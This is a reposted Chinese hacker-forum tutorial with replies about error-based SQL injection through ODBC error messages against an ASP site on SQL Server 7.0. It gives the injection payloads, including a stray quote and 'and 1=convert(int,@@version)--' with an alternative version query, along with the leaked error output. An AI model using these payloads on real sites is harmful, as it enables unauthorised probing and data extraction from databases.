发新话题
打印

[转载]WEB/SQL分离 利用ODBC注入

[转载]WEB/SQL分离 利用ODBC注入

信息来源:邪恶八进制信息安全团队(www.eviloctal.com

   一直来很多牛人说可以web/sql分离的情况下,利用odbc来拿本机权限,不过这篇文章好象是连回本地来做测试。不过总算是一个突破
EXAMPLE TO USE:
http://www.xxxx.com/FullStory.asp?id=1

Exploiting the hole:
http://www.xxxx.com/FullStory.asp?id=1’

Code:

Microsoft OLE DB Provider for ODBC Drivers error ’80040e14’
[Microsoft][ODBCSQLServerDriver] [SQLServer]
Unclosed quotation mark before the character string ’’.
/Including/general.asp, line 840\

  

VERSION
http://www.xxxx.com/FullStory.asp?id=1 and 1=convert(int,@@version)--

Code:

[SQL Server]Syntax error converting the nvarchar value ’Microsoft SQL Server 7.00 - 7.00.1063 (Intel X86) Apr 9 2002 14:18:16 Copyright
My Blog http://www.ssjk.org

TOP

补充一点,这个漏洞只对SQL7.0有效
每个人都有属于自已的世界,人生因此而精彩,HACK就是我的世界!

TOP

上面在判断系统版本的时候使用
引用:
VERSION
http://www.xxxx.com/FullStory.asp?id=1 and 1=convert(int,@@version)--
个人认为使用http://www.xxxx.com/FullStory.asp?id=1 and 1=(select @@version)--容易懂些

TOP

发新话题